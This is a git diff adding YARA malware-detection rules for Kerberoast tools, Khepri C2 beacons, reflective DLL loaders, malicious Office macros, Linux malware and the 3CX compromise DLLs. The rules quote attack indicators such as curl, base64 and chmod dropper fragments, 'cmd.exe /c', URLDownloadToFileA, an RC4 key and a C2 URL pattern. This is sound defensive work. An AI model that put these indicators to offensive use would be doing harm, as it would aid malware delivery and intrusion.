+      $s3 = "$NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}" fullword ascii
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/gen_javascript_powershell.yar b/yara-Neo23x0/gen_javascript_powershell.yar
new file mode 100644
index 0000000..82051ac
--- /dev/null
+++ b/yara-Neo23x0/gen_javascript_powershell.yar
@@ -0,0 +1,15 @@
+
+rule Malware_JS_powershell_obfuscated {
+   meta:
+      description = "Unspecified malware - file rechnung_3.js"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-24"
+      hash1 = "3af15a2d60f946e0c4338c84bd39880652f676dc884057a96a10d7f802215760"
+      id = "7995dd3a-5942-5c48-9e50-64f4964249a7"
+   strings:
+      $x1 = "po\" + \"wer\" + \"sh\" + \"e\" + \"ll\";" fullword ascii
+   condition:
+      filesize < 30KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_kerberoast.yar b/yara-Neo23x0/gen_kerberoast.yar
new file mode 100644
index 0000000..0c1f17f
--- /dev/null
+++ b/yara-Neo23x0/gen_kerberoast.yar
@@ -0,0 +1,59 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-21
+	Identifier: Kerberoast
+*/
+
+rule GetUserSPNs_VBS {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.vbs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
+		id = "5576c1b9-4670-52c5-b23c-64adcc8709de"
+	strings:
+		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
+		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
+		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii
+	condition:
+		2 of them
+}
+
+rule GetUserSPNs_PS1 {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
+		id = "a2fba75c-264f-5e89-afaf-9d19a4a90784"
+	strings:
+		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
+		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
+		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
+		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii
+	condition:
+		2 of them
+}
+
+rule kerberoast_PY {
+	meta:
+		description = "Auto-generated rule - file kerberoast.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
+		id = "cea6cdb2-cd1a-5701-a9d1-27c788a962a7"
+	strings:
+		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
+		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
+		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
+      $s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii
+	condition:
+		2 of them
+}
diff --git a/yara-Neo23x0/gen_khepri.yar b/yara-Neo23x0/gen_khepri.yar
new file mode 100644
index 0000000..cc95406
--- /dev/null
+++ b/yara-Neo23x0/gen_khepri.yar
@@ -0,0 +1,44 @@
+
+rule HKTL_Khepri_Beacon_Sep21_1 {
+   meta:
+      description = "Detects Khepri C2 framework beacons"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/geemion/Khepri/"
+      date = "2021-09-08"
+      score = 90
+      hash1 = "86c48679db5f4c085fd741ebec5235bc6cf0cdf8ef2d98fd8a689ceb5088f431"
+      id = "b2c8aaf7-7953-55a3-8499-565800fa01f1"
+   strings:
+      $x1 = "NT %d.%d Build %d  ProductType:%s" ascii fullword
+
+      /* c2.CMDPARAM.cmd */
+      $xe1 = "YzIuQ01EUEFSQU0uY21k" ascii
+      $xe2 = "MyLkNNRFBBUkFNLmNtZ" ascii
+      $xe3 = "jMi5DTURQQVJBTS5jbW" ascii
+      
+      $sx1 = "c2.ProcessItem.user" ascii fullword
+      $sx2 = "c2.CMDPARAM.cmd" ascii fullword
+      $sx3 = "c2.DownLoadFile.file_path" ascii fullword
+
+      $sa1 = "file size zero"
+      $sa2 = "cmd.exe /c "
+      $sa3 = "error parse param"
+      $sa4 = "innet_ip"
+
+      $op1 = { c3 b9 b4 98 49 00 87 01 5d c3 b8 b8 98 49 00 c3 8b ff }
+      $op2 = { 8b f1 80 3d 58 97 49 00 00 0f 85 96 00 00 00 33 c0 40 b9 50 97 49 00 87 01 33 db }
+      $op3 = { 90 d5 0c 43 00 34 0d 43 00 ea 0c 43 00 7e 0d 43 00 b6 0d 43 00 cc }
+      $op4 = { 69 c0 ff 00 00 00 8b 4d c0 23 88 40 7c 49 00 89 4d c0 8b 45 cc 0b 45 c0 89 45 cc 8b 45 d0 }
+   condition:
+      ( uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46 ) and
+      filesize < 2000KB and (
+         1 of ($x*) or
+         2 of ($sx*) or
+         all of ($sa*) or 
+         3 of ($op*)
+      ) or (
+         filesize < 10MB 
+         and 1 of ($xe*)
+      ) 
+      or 5 of them
+}
diff --git a/yara-Neo23x0/gen_kirbi_mimkatz.yar b/yara-Neo23x0/gen_kirbi_mimkatz.yar
new file mode 100644
index 0000000..8f17334
--- /dev/null
+++ b/yara-Neo23x0/gen_kirbi_mimkatz.yar
@@ -0,0 +1,23 @@
+/*
+	Yara Rule Set
+	Author: Didier Stevens
+	Date: 2016-08-13
+	Identifier: KiRBi ticket for mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule mimikatz_kirbi_ticket
+{
+    meta:
+        description        = "KiRBi ticket for mimikatz"
+        author            = "Benjamin DELPY (gentilkiwi); Didier Stevens"
+
+        id = "a37249e0-ab3b-50c2-9473-1e69185713cc"
+    strings:
+        $asn1            = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
+        $asn1_84        = { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }
+
+    condition:
+        $asn1 at 0 or $asn1_84 at 0
+}
diff --git a/yara-Neo23x0/gen_lnx_malware_indicators.yar b/yara-Neo23x0/gen_lnx_malware_indicators.yar
new file mode 100644
index 0000000..c60c7b5
--- /dev/null
+++ b/yara-Neo23x0/gen_lnx_malware_indicators.yar
@@ -0,0 +1,24 @@
+
+rule SUSP_LNX_Linux_Malware_Indicators_Aug20_1 {
+   meta:
+      description = "Detects indicators often found in linux malware samples"
+      author = "Florian Roth (Nextron Systems)"
+      score = 65
+      reference = "Internal Research"
+      date = "2020-08-03"
+      id = "9a1093a6-0239-5d1c-aa30-1ca725941583"
+   strings:
+      $s1 = "&& chmod +x" ascii 
+      $s2 = "|base64 -" ascii
+      $s3 = " /tmp" ascii 
+      $s4 = "|curl " ascii
+      $s5 = "whoami" ascii fullword
+
+      $fp1 = "WITHOUT ANY WARRANTY" ascii 
+      $fp2 = "postinst" ascii fullword
+      $fp3 = "THIS SOFTWARE IS PROVIDED" ascii fullword
+      $fp4 = "Free Software Foundation" ascii fullword
+   condition:
+      filesize < 400KB and
+      3 of ($s*) and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_loaders.yar b/yara-Neo23x0/gen_loaders.yar
new file mode 100644
index 0000000..f4a2ec0
--- /dev/null
+++ b/yara-Neo23x0/gen_loaders.yar
@@ -0,0 +1,176 @@
+/*
+   Yara Rule Set
+   Copyright: Florian Roth
+   Date: 2017-06-25
+   Identifier: Rules that detect different malware characteristics
+   Reference: Internal Research
+   License: GPL
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ReflectiveLoader {
+   meta:
+      description = "Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended"
+      reference = "Internal Research"
+      score = 70
+      date = "2017-07-17"
+      modified = "2021-03-15"
+      author = "Florian Roth (Nextron Systems)"
+      nodeepdive = 1
+      id = "d8a601d7-b99a-59dc-bfc7-bf0e35b5d8bd"
+   strings:
+      $x1 = "ReflectiveLoader" fullword ascii
+      $x2 = "ReflectivLoader.dll" fullword ascii
+      $x3 = "?ReflectiveLoader@@" ascii
+      $x4 = "reflective_dll.x64.dll" fullword ascii
+      $x5 = "reflective_dll.dll" fullword ascii
+
+      $fp1 = "Sentinel Labs, Inc." wide
+      $fp2 = "Panda Security, S.L." wide ascii
+   condition:
+      uint16(0) == 0x5a4d and (
+            1 of ($x*) or
+            pe.exports("ReflectiveLoader") or
+            pe.exports("_ReflectiveLoader@4") or
+            pe.exports("?ReflectiveLoader@@YGKPAX@Z")
+         )
+      and not 1 of ($fp*)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-20
+   Identifier: Reflective DLL Loader
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Reflective_DLL_Loader_Aug17_1 {
+   meta:
+      description = "Detects Reflective DLL Loader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-20"
+      hash1 = "f2f85855914345eec629e6fc5333cf325a620531d1441313292924a88564e320"
+      id = "9a2674f8-5fdb-5a4d-a2b9-41e874939616"
+   strings:
+      $x1 = "\\Release\\reflective_dll.pdb" ascii
+      $x2 = "reflective_dll.x64.dll" fullword ascii
+      $s3 = "DLL Injection" fullword ascii
+      $s4 = "?ReflectiveLoader@@YA_KPEAX@Z" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 300KB and
+        (
+           pe.imphash() == "4bf489ae7d1e6575f5bb81ae4d10862f" or
+           pe.exports("?ReflectiveLoader@@YA_KPEAX@Z") or
+           ( 1 of ($x*) or 2 of them )
+        )
+      ) or ( 2 of them )
+}
+
+rule DLL_Injector_Lynx {
+   meta:
+      description = "Detects Lynx DLL Injector"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-20"
+      hash1 = "d594f60e766e0c3261a599b385e3f686b159a992d19fa624fad8761776efa4f0"
+      id = "7a4c9949-c701-5ae2-a8b1-3ef0b08c1c04"
+   strings:
+      $x1 = " -p <TARGET PROCESS NAME> | -u <DLL PAYLOAD> [--obfuscate]" fullword wide
+      $x2 = "You've selected to inject into process: %s" fullword wide
+      $x3 = "Lynx DLL Injector" fullword wide
+      $x4 = "Reflective DLL Injector" fullword wide
+      $x5 = "Failed write payload: %lu" fullword wide
+      $x6 = "Failed to start payload: %lu" fullword wide
+      $x7 = "Injecting payload..." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 800KB and
+        1 of them
+      ) or ( 3 of them )
+}
+
+rule Reflective_DLL_Loader_Aug17_2 {
+   meta:
+      description = "Detects Reflective DLL Loader - suspicious - Possible FP could be program crack"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-20"
+      score = 60
+      hash1 = "c2a7a2d0b05ad42386a2bedb780205b7c0af76fe9ee3d47bbe217562f627fcae"
+      hash2 = "b90831aaf8859e604283e5292158f08f100d4a2d4e1875ea1911750a6cb85fe0"
+      id = "5948d9ba-e655-5b11-ad74-f650b3a753e7"
+   strings:
+      $x1 = "\\ReflectiveDLLInjection-master\\" ascii
+      $s2 = "reflective_dll.dll" fullword ascii
+      $s3 = "DLL injection" fullword ascii
+      $s4 = "_ReflectiveLoader@4" ascii
+      $s5 = "Reflective Dll Injection" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 200KB and
+        (
+           pe.imphash() == "59867122bcc8c959ad307ac2dd08af79" or
+           pe.exports("_ReflectiveLoader@4") or
+           2 of them
+        )
+      ) or ( 3 of them )
+}
+
+rule Reflective_DLL_Loader_Aug17_3 {
+   meta:
+      description = "Detects Reflective DLL Loader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-20"
+      modified = "2022-12-21"
+      hash1 = "d10e4b3f1d00f4da391ac03872204dc6551d867684e0af2a4ef52055e771f474"
+      id = "91842f58-5205-533d-9e97-a1e84fbf259d"
+   strings:
+      $s1 = "\\Release\\inject.pdb" ascii
+      $s2 = "!!! Failed to gather information on system processes! " fullword ascii
+      $s3 = "reflective_dll.dll" fullword ascii
+      $s4 = "[-] %s. Error=%d" fullword ascii
+      $s5 = "\\Start Menu\\Programs\\reflective_dll.dll" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 300KB and
+        (
+           pe.imphash() == "26ba48d3e3b964f75ff148b6679b42ec" or
+           2 of them
+        )
+      ) or ( 3 of them )
+}
+
+rule Reflective_DLL_Loader_Aug17_4 {
+   meta:
+      description = "Detects Reflective DLL Loader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-20"
+      hash1 = "205b881701d3026d7e296570533e5380e7aaccaa343d71b6fcc60802528bdb74"
+      hash2 = "f76151646a0b94024761812cde1097ae2c6d455c28356a3db1f7905d3d9d6718"
+      id = "d2a28ea6-a3f7-5ceb-86fd-1e5b7f916a41"
+   strings:
+      $x1 = "<H1>&nbsp;>> >> >> Keylogger Installed - %s %s << << <<</H1>" fullword ascii
+
+      $s1 = "<H3> ----- Running Process ----- </H3>" fullword ascii
+      $s2 = "<H2>Operating system: %s<H2>" fullword ascii
+      $s3 = "<H2>System32 dir:  %s</H2>" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 2000KB and 2 of them
+      )
+}
diff --git a/yara-Neo23x0/gen_macro_ShellExecute_action.yar b/yara-Neo23x0/gen_macro_ShellExecute_action.yar
new file mode 100644
index 0000000..5c09eab
--- /dev/null
+++ b/yara-Neo23x0/gen_macro_ShellExecute_action.yar
@@ -0,0 +1,33 @@
+rule gen_macro_ShellExecute_action
+{
+	meta:
+		description = "VBA macro technique to call ShellExecute to launch payload"
+        	note = "This rule only works on VT or systems that perform macro subfile extraction"
+        	author = "John Lambert @JohnLaTwC"
+        	date = "2019-01-08"
+    		reference = "https://twitter.com/StanHacked/status/1075088449768693762"
+		hash1 = "0878eec9ecae493659e42c1d87588573c1e6fc30acf7a59e6fdb5296b1c198ef"
+		hash2 = "a0963ac15339c9803b4355fd71b68bf6ddedad960d5b3ad40bae873263470191"
+		hash3 = "dd094e44a817604596d1ab06ca6e9597d49ca0a2cbe9239c73ceaad70265ec2a"
+		hash4 = "7b9094ea41e89379c7048ef784ef494c4597ea0d31b707dcb9c8495f241f5fb0"
+		hash5 = "35d8242726b905882bbfcf2770f84cb6f40552e76bff8fb0082ca10de3d61e54"
+		hash6 = "bf9ff20d814bf21d46a22abbd7a8ad0276145807f9adf8d2787df9e3fce3f35d"
+		hash7 = "77966004fcbff147f6923b3405ad9ad4e1dda42d0931564d0cdc4c7e1c91106a"
+		
+		reference_hash8 = "https://twitter.com/ItsReallyNick/status/1091170625698316288"
+		hash8 = "c77c8033a1e5f694fa119dd7f78811f6015726822121b9414fc01e7de8770447"
+
+		id = "4ae3d3d9-de4a-5c5c-9a4a-bedc80b576be"
+    strings:
+        $com1a = "00A0C91F3880"
+        $com1b = "C08AFD90"
+        $com2a = "00A0C90A8F39"
+        $com2b = "9BA05972"
+        $s3 = "ShellExecute" fullword
+        $s4 = "GetObject" fullword
+    condition:
+    	filesize < 1MB
+        and (uint32be(0) == 0x41747472 or uint32be(0) == 0x61747472 or uint32be(0) == 0x41545452)  //File start with Attribute
+        and all of ($s*)
+        and (all of ($com1*) or all of ($com2*))
+}
diff --git a/yara-Neo23x0/gen_macro_builders.yar b/yara-Neo23x0/gen_macro_builders.yar
new file mode 100644
index 0000000..d3ff68b
--- /dev/null
+++ b/yara-Neo23x0/gen_macro_builders.yar
@@ -0,0 +1,19 @@
+
+rule SUSP_MalDoc_ExcelMacro {
+  meta:
+    description = "Detects malicious Excel macro Artifacts"
+    author = "James Quinn"
+    date = "2020-11-03"
+    reference = "YARA Exchange - Undisclosed Macro Builder"
+    id = "76806717-a9a8-520e-b6b6-7718eb088de5"
+  strings:
+    $artifact1 = {5c 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2e 00 ?? 00 ?? 00}
+    $url1 = "http://" wide
+    $url2 = "https://" wide
+    $import1 = "URLDownloadToFileA" wide ascii
+    $macro = "xl/macrosheets/"
+  condition:
+    uint16(0) == 0x4b50 and
+    filesize < 2000KB and
+    $artifact1 and $macro and $import1 and 1 of ($url*)
+}
diff --git a/yara-Neo23x0/gen_macro_staroffice_suspicious.yar b/yara-Neo23x0/gen_macro_staroffice_suspicious.yar
new file mode 100644
index 0000000..ea4264b
--- /dev/null
+++ b/yara-Neo23x0/gen_macro_staroffice_suspicious.yar
@@ -0,0 +1,38 @@
+rule SUSP_Macro_StarOffice {
+   meta:
+        description = "Suspicious macro in StarOffice"
+        author = "John Lambert @JohnLaTwC"
+        date = "2019-02-06"
+        modified = "2021-05-27"
+        score = 60
+        reference = "https://twitter.com/JohnLaTwC/status/1093259873993732096"
+        hash1 = "8495d37825dab8744f7d2c8049fc6b70b1777b9184f0abe69ce314795480ce39"
+        hash2 = "25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe"
+        hash3 = "322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db"
+        hash4 = "705429725437f7e0087a6159708df97992abaadff0fa48fdf25111d34a3e2f20"
+        hash5 = "7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a"
+        hash6 = "7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4"
+        hash7 = "8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3"
+        hash8 = "9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc"
+        hash9 = "aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c"
+        hash10 = "b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302"
+        hash11 = "bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3"
+        hash12 = "de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b"
+
+        id = "92110a87-66b4-5fc5-b3f5-3e59ec2671b2"
+    strings:
+        $r1 = "StarBasic"
+        $r2 = "</script:module>"
+        $s1 = "Shell" nocase
+        $s2 = ".Run" nocase
+        $s3 = ".PutInClipboard" nocase
+        $s4 = "powershell" nocase
+
+        $fp1 = "LibreOffice project" ascii
+    condition:
+        filesize < 1MB
+        and uint32be(0) == 0x3c3f786d // <?xm
+        and all of ($r*)
+        and 1 of ($s*)
+        and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_mal_3cx_compromise_mar23.yar b/yara-Neo23x0/gen_mal_3cx_compromise_mar23.yar
new file mode 100644
index 0000000..f5f318f
--- /dev/null
+++ b/yara-Neo23x0/gen_mal_3cx_compromise_mar23.yar
@@ -0,0 +1,428 @@
+import "pe"
+
+rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_1 {
+   meta:
+      description = "Detects malicious DLLs related to 3CX compromise"
+      author = "X__Junior, Florian Roth (Nextron Systems)"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      date = "2023-03-29"
+      modified = "2023-04-20"
+      score = 85
+      hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+      hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+      hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
+      id = "a6ea3299-fde5-5206-b5db-eb3a3f5944d9"
+    strings:
+      $opa1 = { 4C 89 F1 4C 89 EA 41 B8 40 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 F0 FF 15 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B 01 4C 89 F1 4C 89 EA FF 15 } /* VirtualProtect and execute payload*/
+      $opa2 = { 48 C7 44 24 ?? 00 00 00 00 4C 8D 7C 24 ?? 48 89 F9 48 89 C2 41 89 E8 4D 89 F9 FF 15 ?? ?? ?? ?? 41 83 3F 00 0F 84 ?? ?? ?? ?? 0F B7 03 3D 4D 5A 00 00} /* ReadFile and MZ compare*/
+      $opa3 = { 41 80 7C 00 ?? FE 75 ?? 41 80 7C 00 ?? ED 75 ?? 41 80 7C 00 ?? FA 75 ?? 41 80 3C 00 CE} /* marker */
+      $opa4 = { 44 0F B6 CD 46 8A 8C 0C ?? ?? ?? ?? 45 30 0C 0E 48 FF C1} /* xor part in RC4 decryption*/
+
+      $opb1 = { 41 B8 40 00 00 00 49 8B D5 49 8B CC FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 FF D4 44 8B 45 ?? 4C 8D 4D ?? 49 8B D5 49 8B CC FF 15 }  /* VirtualProtect and execute payload */
+      $opb2 = { 44 8B C3 48 89 44 24 ?? 48 8B 5C 24 ?? 4C 8D 4D ?? 48 8B CB 48 89 74 24 ?? 48 8B D0 4C 8B F8 FF 15 } /* ReadFile and MZ compare*/
+      $opb3 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE } /* marker */
+      $opb4 = { 49 63 C1 44 0F B6 44 05 ?? 44 88 5C 05 ?? 44 88 02 0F B6 54 05 ?? 49 03 D0 0F B6 C2 0F B6 54 05 ?? 41 30 12} /* xor part in RC4 decryption*/
+    condition:
+      uint16(0) == 0x5a4d
+      and filesize < 5MB
+      and pe.characteristics & pe.DLL
+      and ( 2 of ($opa*) or 2 of ($opb*) )
+}
+
+rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_2 {
+   meta:
+      description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/dan__mayer/status/1641170769194672128?s=20"
+      date = "2023-03-29"
+      score = 80
+      hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+      id = "bf3597ff-d62b-5d21-9c9b-e46e685284cf"
+   strings:
+      $s1 = "raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
+      $s2 = "https://raw.githubusercontent.com/IconStorages" wide fullword
+      $s3 = "icon%d.ico" wide fullword
+      $s4 = "__tutmc" ascii fullword
+
+      $op1 = { 2d ee a1 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 46 a0 00 00 44 8b 05 7f a2 00 00 e8 0a 0e 00 00 }
+      $op4 = { 4c 8d 5c 24 71 0f 57 c0 48 89 44 24 60 89 44 24 68 41 b9 15 cd 5b 07 0f 11 44 24 70 b8 b1 68 de 3a 41 ba a4 7b 93 02 }
+      $op5 = { f7 f3 03 d5 69 ca e8 03 00 00 ff 15 c9 0a 02 00 48 8d 44 24 30 45 33 c0 4c 8d 4c 24 38 48 89 44 24 20 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 900KB and 3 of them
+      or 5 of them
+}
+
+rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_3 {
+   meta:
+      description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
+      author = "Florian Roth , X__Junior (Nextron Systems)"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      date = "2023-03-29"
+      score = 80
+      hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+      id = "d2d361b6-8485-57eb-b6eb-88785f42e93e"
+    strings:
+      $opa1 = { 41 81 C0 ?? ?? ?? ?? 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1 41 69 D0 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 ?? ?? ?? ?? 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 } /*lcg chunk */
+      $opa2 = { 8B C8 41 69 D1 ?? ?? ?? ?? C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 4C 0F AF CF 44 69 C2 ?? ?? ?? ?? 4C 03 C9 45 8B D1 4C 0F AF D7} /*lcg chunk */
+
+      $opb1 = { 45 33 C9 48 89 6C 24 ?? 48 8D 44 24 ?? 48 89 6C 24 ?? 8B D3 48 89 B4 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 ?? FF 15 } /* base64 decode */
+      $opb2 = { 44 8B 0F 45 8B C6 48 8B 4D ?? 49 8B D7 44 89 64 24 ?? 48 89 7C 24 ?? 44 89 4C 24 ?? 4C 8D 4D ?? 48 89 44 24 ?? 44 89 64 24 ?? 4C 89 64 24 ?? FF 15} /* AES decryption */
+      $opb3 = { 48 FF C2 66 44 39 2C 56 75 ?? 4C 8D 4C 24 ?? 45 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 44 24 ?? 33 F6 48 8B 54 24 ?? 45 33 C9 48 8B 0B 48 89 74 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 74 24 ?? FF 15 } /* internet connection */
+      $opb4 = { 33 C0 48 8D 6B ?? 4C 8D 4C 24 ?? 89 44 24 ?? BA ?? ?? ?? ?? 48 89 44 24 ?? 48 8B CD 89 44 24 ?? 44 8D 40 ?? 8B F8 FF 15} /* VirtualProtect */
+    condition:
+      ( all of ($opa*) )
+      or
+      ( 1 of ($opa*) and 1 of ($opb*) )
+      or
+      ( 3 of ($opb*) )
+}
+
+rule SUSP_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1 {
+   meta:
+      description = "Detects marker found in malicious DLLs related to 3CX compromise"
+      author = "X__Junior, Florian Roth (Nextron Systems)"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      date = "2023-03-29"
+      modified = "2023-04-20"
+      score = 75
+      hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+      hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+      hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
+      id = "9fc6eb94-d02f-5bcd-9f55-b6c6a8301b4f"
+   strings:
+      $opx1 = { 41 80 7C 00 FD FE 75 ?? 41 80 7C 00 FE ED 75 ?? 41 80 7C 00 FF FA 75 ?? 41 80 3C 00 CE } /* marker */
+      $opx2 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE } /* marker */
+   condition:
+      1 of them
+}
+
+rule APT_SUSP_NK_3CX_RC4_Key_Mar23_1 {
+   meta:
+      description = "Detects RC4 key used in 3CX binaries known to be malicious"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2023-03-29"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      score = 70
+      hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+      hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+      hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+      hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+      id = "18ea2185-11a1-51ad-a51a-df9e6357bb58"
+   strings:
+      $x1 = "3jB(2bsG#@c7"
+   condition:
+      ( uint16(0) == 0xcfd0 or uint16(0) == 0x5a4d )
